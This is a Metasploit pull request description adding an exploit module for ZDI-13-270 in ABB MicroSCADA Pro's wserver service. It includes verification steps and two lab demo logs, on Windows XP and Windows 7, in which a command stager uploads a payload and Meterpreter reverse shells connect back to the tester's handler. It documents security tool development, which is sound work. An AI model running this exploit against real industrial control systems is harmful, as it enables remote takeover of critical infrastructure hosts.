rapid7/metasploit-framework — pull request #2708 by jvazquez-r7 (2013-11-28 16:54:07+00:00)
Title: Add module for ZDI-13-270

Tested successfully on ABB MicroSCADA Pro SYS600 9.3 over Windows XP SP3 and Windows 7 SP1

Verification steps:

- [ ] Install supported OS: XP, 7, 2003, 2008 (32 bits only)
- [ ] Install ABB MicroSCADA Pro SYS600 9.3 (or any other vulnerable version should be good enough, vulnerable versions can be check on the advisory http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf)
- [ ] Run the wserver.exe service (doesn't run by default): manually or copying it in the startup folder as explained on the installation guide, accessible through the startup menu.
- [ ] Run the metasploit module like on the demo, hopefully enjoy session :)

DEMO:

* Windows XPSP3

```
msf exploit(abb_wserver_exec) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(abb_wserver_exec) > check
[+] The target is vulnerable.
msf exploit(abb_wserver_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Command Stager progress - 0.72% done (749/103830 bytes)
[*] Command Stager progress - 1.44% done (1498/103830 bytes)
[*] Command Stager progress - 2.16% done (2247/103830 bytes)
[*] Command Stager progress - 2.89% done (2996/103830 bytes)
[*] Command Stager progress - 3.61% done (3745/103830 bytes)
[*] Command Stager progress - 4.33% done (4494/103830 bytes)
[*] Command Stager progress - 5.05% done (5243/103830 bytes)
[*] Command Stager progress - 5.77% done (5992/103830 bytes)
[*] Command Stager progress - 6.49% done (6741/103830 bytes)
[*] Command Stager progress - 7.21% done (7490/103830 bytes)
[*] Command Stager progress - 7.94% done (8239/103830 bytes)
[*] Command Stager progress - 8.66% done (8988/103830 bytes)
[*] Command Stager progress - 9.38% done (9737/103830 bytes)
[*] Command Stager progress - 10.10% done (10486/103830 bytes)
[*] Command Stager progress - 10.82% done (11235/103830 bytes)
[*] Command Stager progress - 11.54% done (11984/103830 bytes)
[*] Command Stager progress - 12.26% done (12733/103830 bytes)
[*] Command Stager progress - 12.98% done (13482/103830 bytes)
[*] Command Stager progress - 13.71% done (14231/103830 bytes)
[*] Command Stager progress - 14.43% done (14980/103830 bytes)
[*] Command Stager progress - 15.15% done (15729/103830 bytes)
[*] Command Stager progress - 15.87% done (16478/103830 bytes)
[*] Command Stager progress - 16.59% done (17227/103830 bytes)
[*] Command Stager progress - 17.31% done (17976/103830 bytes)
[*] Command Stager progress - 18.03% done (18725/103830 bytes)
[*] Command Stager progress - 18.76% done (19474/103830 bytes)
[*] Command Stager progress - 19.48% done (20223/103830 bytes)
[*] Command Stager progress - 20.20% done (20972/103830 bytes)
[*] Command Stager progress - 20.92% done (21721/103830 bytes)
[*] Command Stager progress - 21.64% done (22470/103830 bytes)
[*] Command Stager progress - 22.36% done (23219/103830 bytes)
[*] Command Stager progress - 23.08% done (23968/103830 bytes)
[*] Command Stager progress - 23.81% done (24717/103830 bytes)
[*] Command Stager progress - 24.53% done (25466/103830 bytes)
[*] Command Stager progress - 25.25% done (26215/103830 bytes)
[*] Command Stager progress - 25.97% done (26964/103830 bytes)
[*] Command Stager progress - 26.69% done (27713/103830 bytes)
[*] Command Stager progress - 27.41% done (28462/103830 bytes)
[*] Command Stager progress - 28.13% done (29211/103830 bytes)
[*] Command Stager progress - 28.85% done (29960/103830 bytes)
[*] Command Stager progress - 29.58% done (30709/103830 bytes)
[*] Command Stager progress - 30.30% done (31458/103830 bytes)
[*] Command Stager progress - 31.02% done (32207/103830 bytes)
[*] Command Stager progress - 31.74% done (32956/103830 bytes)
[*] Command Stager progress - 32.46% done (33705/103830 bytes)
[*] Command Stager progress - 33.18% done (34454/103830 bytes)
[*] Command Stager progress - 33.90% done (35203/103830 bytes)
[*] Command Stager progress - 34.63% done (35952/103830 bytes)
[*] Command Stager progress - 35.35% done (36701/103830 bytes)
[*] Command Stager progress - 36.07% done (37450/103830 bytes)
[*] Command Stager progress - 36.79% done (38199/103830 bytes)
[*] Command Stager progress - 37.51% done (38948/103830 bytes)
[*] Command Stager progress - 38.23% done (39697/103830 bytes)
[*] Command Stager progress - 38.95% done (40446/103830 bytes)
[*] Command Stager progress - 39.68% done (41195/103830 bytes)
[*] Command Stager progress - 40.40% done (41944/103830 bytes)
[*] Command Stager progress - 41.12% done (42693/103830 bytes)
[*] Command Stager progress - 41.84% done (43442/103830 bytes)
[*] Command Stager progress - 42.56% done (44191/103830 bytes)
[*] Command Stager progress - 43.28% done (44940/103830 bytes)
[*] Command Stager progress - 44.00% done (45689/103830 bytes)
[*] Command Stager progress - 44.73% done (46438/103830 bytes)
[*] Command Stager progress - 45.45% done (47187/103830 bytes)
[*] Command Stager progress - 46.17% done (47936/103830 bytes)
[*] Command Stager progress - 46.89% done (48685/103830 bytes)
[*] Command Stager progress - 47.61% done (49434/103830 bytes)
[*] Command Stager progress - 48.33% done (50183/103830 bytes)
[*] Command Stager progress - 49.05% done (50932/103830 bytes)
[*] Command Stager progress - 49.77% done (51681/103830 bytes)
[*] Command Stager progress - 50.50% done (52430/103830 bytes)
[*] Command Stager progress - 51.22% done (53179/103830 bytes)
[*] Command Stager progress - 51.94% done (53928/103830 bytes)
[*] Command Stager progress - 52.66% done (54677/103830 bytes)
[*] Command Stager progress - 53.38% done (55426/103830 bytes)
[*] Command Stager progress - 54.10% done (56175/103830 bytes)
[*] Command Stager progress - 54.82% done (56924/103830 bytes)
[*] Command Stager progress - 55.55% done (57673/103830 bytes)
[*] Command Stager progress - 56.27% done (58422/103830 bytes)
[*] Command Stager progress - 56.99% done (59171/103830 bytes)
[*] Command Stager progress - 57.71% done (59920/103830 bytes)
[*] Command Stager progress - 58.43% done (60669/103830 bytes)
[*] Command Stager progress - 59.15% done (61418/103830 bytes)
[*] Command Stager progress - 59.87% done (62167/103830 bytes)
[*] Command Stager progress - 60.60% done (62916/103830 bytes)
[*] Command Stager progress - 61.32% done (63665/103830 bytes)
[*] Command Stager progress - 62.04% done (64414/103830 bytes)
[*] Command Stager progress - 62.76% done (65163/103830 bytes)
[*] Command Stager progress - 63.48% done (65912/103830 bytes)
[*] Command Stager progress - 64.20% done (66661/103830 bytes)
[*] Command Stager progress - 64.92% done (67410/103830 bytes)
[*] Command Stager progress - 65.64% done (68159/103830 bytes)
[*] Command Stager progress - 66.37% done (68908/103830 bytes)
[*] Command Stager progress - 67.09% done (69657/103830 bytes)
[*] Command Stager progress - 67.81% done (70406/103830 bytes)
[*] Command Stager progress - 68.53% done (71155/103830 bytes)
[*] Command Stager progress - 69.25% done (71904/103830 bytes)
[*] Command Stager progress - 69.97% done (72653/103830 bytes)
[*] Command Stager progress - 70.69% done (73402/103830 bytes)
[*] Command Stager progress - 71.42% done (74151/103830 bytes)
[*] Command Stager progress - 72.14% done (74900/103830 bytes)
[*] Command Stager progress - 72.86% done (75649/103830 bytes)
[*] Command Stager progress - 73.58% done (76398/103830 bytes)
[*] Command Stager progress - 74.30% done (77147/103830 bytes)
[*] Command Stager progress - 75.02% done (77896/103830 bytes)
[*] Command Stager progress - 75.74% done (78645/103830 bytes)
[*] Command Stager progress - 76.47% done (79394/103830 bytes)
[*] Command Stager progress - 77.19% done (80143/103830 bytes)
[*] Command Stager progress - 77.91% done (80892/103830 bytes)
[*] Command Stager progress - 78.63% done (81641/103830 bytes)
[*] Command Stager progress - 79.35% done (82390/103830 bytes)
[*] Command Stager progress - 80.07% done (83139/103830 bytes)
[*] Command Stager progress - 80.79% done (83888/103830 bytes)
[*] Command Stager progress - 81.51% done (84637/103830 bytes)
[*] Command Stager progress - 82.24% done (85386/103830 bytes)
[*] Command Stager progress - 82.96% done (86135/103830 bytes)
[*] Command Stager progress - 83.68% done (86884/103830 bytes)
[*] Command Stager progress - 84.40% done (87633/103830 bytes)
[*] Command Stager progress - 85.12% done (88382/103830 bytes)
[*] Command Stager progress - 85.84% done (89131/103830 bytes)
[*] Command Stager progress - 86.56% done (89880/103830 bytes)
[*] Command Stager progress - 87.29% done (90629/103830 bytes)
[*] Command Stager progress - 88.01% done (91378/103830 bytes)
[*] Command Stager progress - 88.73% done (92127/103830 bytes)
[*] Command Stager progress - 89.45% done (92876/103830 bytes)
[*] Command Stager progress - 90.17% done (93625/103830 bytes)
[*] Command Stager progress - 90.89% done (94374/103830 bytes)
[*] Command Stager progress - 91.61% done (95123/103830 bytes)
[*] Command Stager progress - 92.34% done (95872/103830 bytes)
[*] Command Stager progress - 93.06% done (96621/103830 bytes)
[*] Command Stager progress - 93.78% done (97370/103830 bytes)
[*] Command Stager progress - 94.50% done (98119/103830 bytes)
[*] Command Stager progress - 95.22% done (98868/103830 bytes)
[*] Command Stager progress - 95.94% done (99617/103830 bytes)
[*] Command Stager progress - 96.66% done (100366/103830 bytes)
[*] Command Stager progress - 97.39% done (101115/103830 bytes)
[*] Command Stager progress - 98.08% done (101840/103830 bytes)
[*] Command Stager progress - 98.77% done (102557/103830 bytes)
[*] Command Stager progress - 99.45% done (103264/103830 bytes)
[*] Command Stager progress - 100.00% done (103830/103830 bytes)
[*] Trying to delete %TEMP%\QbzUV.b64...
[*] Trying to delete %TEMP%\wqONr.vbs...
[*] Trying to delete %TEMP%\jENyx.exe...
[*] Sending stage (769024 bytes) to 192.168.172.136
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.136:1541) at 2013-11-28 10:37:59 -0600

meterpreter > getuid
Server username: JUAN-C0DE875735\MicroSCADA
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 1 closed. Reason: User exit
msf exploit(abb_wserver_exec) >
```

* Windows 7 SP1

```
msf exploit(abb_wserver_exec) > set rhost 192.168.172.134
rhost => 192.168.172.134
msf exploit(abb_wserver_exec) > check
[+] The target is vulnerable.
msf exploit(abb_wserver_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Command Stager progress - 0.72% done (749/103830 bytes)
[*] Command Stager progress - 1.44% done (1498/103830 bytes)
[*] Command Stager progress - 2.16% done (2247/103830 bytes)
[*] Command Stager progress - 2.89% done (2996/103830 bytes)
[*] Command Stager progress - 3.61% done (3745/103830 bytes)
[*] Command Stager progress - 4.33% done (4494/103830 bytes)
[*] Command Stager progress - 5.05% done (5243/103830 bytes)
[*] Command Stager progress - 5.77% done (5992/103830 bytes)
[*] Command Stager progress - 6.49% done (6741/103830 bytes)
[*] Command Stager progress - 7.21% done (7490/103830 bytes)
[*] Command Stager progress - 7.94% done (8239/103830 bytes)
[*] Command Stager progress - 8.66% done (8988/103830 bytes)
[*] Command Stager progress - 9.38% done (9737/103830 bytes)
[*] Command Stager progress - 10.10% done (10486/103830 bytes)
[*] Command Stager progress - 10.82% done (11235/103830 bytes)
[*] Command Stager progress - 11.54% done (11984/103830 bytes)
[*] Command Stager progress - 12.26% done (12733/103830 bytes)
[*] Command Stager progress - 12.98% done (13482/103830 bytes)
[*] Command Stager progress - 13.71% done (14231/103830 bytes)
[*] Command Stager progress - 14.43% done (14980/103830 bytes)
[*] Command Stager progress - 15.15% done (15729/103830 bytes)
[*] Command Stager progress - 15.87% done (16478/103830 bytes)
[*] Command Stager progress - 16.59% done (17227/103830 bytes)
[*] Command Stager progress - 17.31% done (17976/103830 bytes)
[*] Command Stager progress - 18.03% done (18725/103830 bytes)
[*] Command Stager progress - 18.76% done (19474/103830 bytes)
[*] Command Stager progress - 19.48% done (20223/103830 bytes)
[*] Command Stager progress - 20.20% done (20972/103830 bytes)
[*] Command Stager progress - 20.92% done (21721/103830 bytes)
[*] Command Stager progress - 21.64% done (22470/103830 bytes)
[*] Command Stager progress - 22.36% done (23219/103830 bytes)
[*] Command Stager progress - 23.08% done (23968/103830 bytes)
[*] Command Stager progress - 23.81% done (24717/103830 bytes)
[*] Command Stager progress - 24.53% done (25466/103830 bytes)
[*] Command Stager progress - 25.25% done (26215/103830 bytes)
[*] Command Stager progress - 25.97% done (26964/103830 bytes)
[*] Command Stager progress - 26.69% done (27713/103830 bytes)
[*] Command Stager progress - 27.41% done (28462/103830 bytes)
[*] Command Stager progress - 28.13% done (29211/103830 bytes)
[*] Command Stager progress - 28.85% done (29960/103830 bytes)
[*] Command Stager progress - 29.58% done (30709/103830 bytes)
[*] Command Stager progress - 30.30% done (31458/103830 bytes)
[*] Command Stager progress - 31.02% done (32207/103830 bytes)
[*] Command Stager progress - 31.74% done (32956/103830 bytes)
[*] Command Stager progress - 32.46% done (33705/103830 bytes)
[*] Command Stager progress - 33.18% done (34454/103830 bytes)
[*] Command Stager progress - 33.90% done (35203/103830 bytes)
[*] Command Stager progress - 34.63% done (35952/103830 bytes)
[*] Command Stager progress - 35.35% done (36701/103830 bytes)
[*] Command Stager progress - 36.07% done (37450/103830 bytes)
[*] Command Stager progress - 36.79% done (38199/103830 bytes)
[*] Command Stager progress - 37.51% done (38948/103830 bytes)
[*] Command Stager progress - 38.23% done (39697/103830 bytes)
[*] Command Stager progress - 38.95% done (40446/103830 bytes)
[*] Command Stager progress - 39.68% done (41195/103830 bytes)
[*] Command Stager progress - 40.40% done (41944/103830 bytes)
[*] Command Stager progress - 41.12% done (42693/103830 bytes)
[*] Command Stager progress - 41.84% done (43442/103830 bytes)
[*] Command Stager progress - 42.56% done (44191/103830 bytes)
[*] Command Stager progress - 43.28% done (44940/103830 bytes)
[*] Command Stager progress - 44.00% done (45689/103830 bytes)
[*] Command Stager progress - 44.73% done (46438/103830 bytes)
[*] Command Stager progress - 45.45% done (47187/103830 bytes)
[*] Command Stager progress - 46.17% done (47936/103830 bytes)
[*] Command Stager progress - 46.89% done (48685/103830 bytes)
[*] Command Stager progress - 47.61% done (49434/103830 bytes)
[*] Command Stager progress - 48.33% done (50183/103830 bytes)
[*] Command Stager progress - 49.05% done (50932/103830 bytes)
[*] Command Stager progress - 49.77% done (51681/103830 bytes)
[*] Command Stager progress - 50.50% done (52430/103830 bytes)
[*] Command Stager progress - 51.22% done (53179/103830 bytes)
[*] Command Stager progress - 51.94% done (53928/103830 bytes)
[*] Command Stager progress - 52.66% done (54677/103830 bytes)
[*] Command Stager progress - 53.38% done (55426/103830 bytes)
[*] Command Stager progress - 54.10% done (56175/103830 bytes)
[*] Command Stager progress - 54.82% done (56924/103830 bytes)
[*] Command Stager progress - 55.55% done (57673/103830 bytes)
[*] Command Stager progress - 56.27% done (58422/103830 bytes)
[*] Command Stager progress - 56.99% done (59171/103830 bytes)
[*] Command Stager progress - 57.71% done (59920/103830 bytes)
[*] Command Stager progress - 58.43% done (60669/103830 bytes)
[*] Command Stager progress - 59.15% done (61418/103830 bytes)
[*] Command Stager progress - 59.87% done (62167/103830 bytes)
[*] Command Stager progress - 60.60% done (62916/103830 bytes)
[*] Command Stager progress - 61.32% done (63665/103830 bytes)
[*] Command Stager progress - 62.04% done (64414/103830 bytes)
[*] Command Stager progress - 62.76% done (65163/103830 bytes)
[*] Command Stager progress - 63.48% done (65912/103830 bytes)
[*] Command Stager progress - 64.20% done (66661/103830 bytes)
[*] Command Stager progress - 64.92% done (67410/103830 bytes)
[*] Command Stager progress - 65.64% done (68159/103830 bytes)
[*] Command Stager progress - 66.37% done (68908/103830 bytes)
[*] Command Stager progress - 67.09% done (69657/103830 bytes)
[*] Command Stager progress - 67.81% done (70406/103830 bytes)
[*] Command Stager progress - 68.53% done (71155/103830 bytes)
[*] Command Stager progress - 69.25% done (71904/103830 bytes)
[*] Command Stager progress - 69.97% done (72653/103830 bytes)
[*] Command Stager progress - 70.69% done (73402/103830 bytes)
[*] Command Stager progress - 71.42% done (74151/103830 bytes)
[*] Command Stager progress - 72.14% done (74900/103830 bytes)
[*] Command Stager progress - 72.86% done (75649/103830 bytes)
[*] Command Stager progress - 73.58% done (76398/103830 bytes)
[*] Command Stager progress - 74.30% done (77147/103830 bytes)
[*] Command Stager progress - 75.02% done (77896/103830 bytes)
[*] Command Stager progress - 75.74% done (78645/103830 bytes)
[*] Command Stager progress - 76.47% done (79394/103830 bytes)
[*] Command Stager progress - 77.19% done (80143/103830 bytes)
[*] Command Stager progress - 77.91% done (80892/103830 bytes)
[*] Command Stager progress - 78.63% done (81641/103830 bytes)
[*] Command Stager progress - 79.35% done (82390/103830 bytes)
[*] Command Stager progress - 80.07% done (83139/103830 bytes)
[*] Command Stager progress - 80.79% done (83888/103830 bytes)
[*] Command Stager progress - 81.51% done (84637/103830 bytes)
[*] Command Stager progress - 82.24% done (85386/103830 bytes)
[*] Command Stager progress - 82.96% done (86135/103830 bytes)
[*] Command Stager progress - 83.68% done (86884/103830 bytes)
[*] Command Stager progress - 84.40% done (87633/103830 bytes)
[*] Command Stager progress - 85.12% done (88382/103830 bytes)
[*] Command Stager progress - 85.84% done (89131/103830 bytes)
[*] Command Stager progress - 86.56% done (89880/103830 bytes)
[*] Command Stager progress - 87.29% done (90629/103830 bytes)
[*] Command Stager progress - 88.01% done (91378/103830 bytes)
[*] Command Stager progress - 88.73% done (92127/103830 bytes)
[*] Command Stager progress - 89.45% done (92876/103830 bytes)
[*] Command Stager progress - 90.17% done (93625/103830 bytes)
[*] Command Stager progress - 90.89% done (94374/103830 bytes)
[*] Command Stager progress - 91.61% done (95123/103830 bytes)
[*] Command Stager progress - 92.34% done (95872/103830 bytes)
[*] Command Stager progress - 93.06% done (96621/103830 bytes)
[*] Command Stager progress - 93.78% done (97370/103830 bytes)
[*] Command Stager progress - 94.50% done (98119/103830 bytes)
[*] Command Stager progress - 95.22% done (98868/103830 bytes)
[*] Command Stager progress - 95.94% done (99617/103830 bytes)
[*] Command Stager progress - 96.66% done (100366/103830 bytes)
[*] Command Stager progress - 97.39% done (101115/103830 bytes)
[*] Command Stager progress - 98.08% done (101840/103830 bytes)
[*] Command Stager progress - 98.77% done (102557/103830 bytes)
[*] Command Stager progress - 99.45% done (103264/103830 bytes)
[*] Command Stager progress - 100.00% done (103830/103830 bytes)
[*] Trying to delete %TEMP%\GlHGB.b64...
[*] Trying to delete %TEMP%\EJnqs.vbs...
[*] Trying to delete %TEMP%\tvzPL.exe...
[*] Sending stage (769024 bytes) to 192.168.172.134
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.134:49159) at 2013-11-28 10:45:08 -0600

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\MicroSCADA
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
```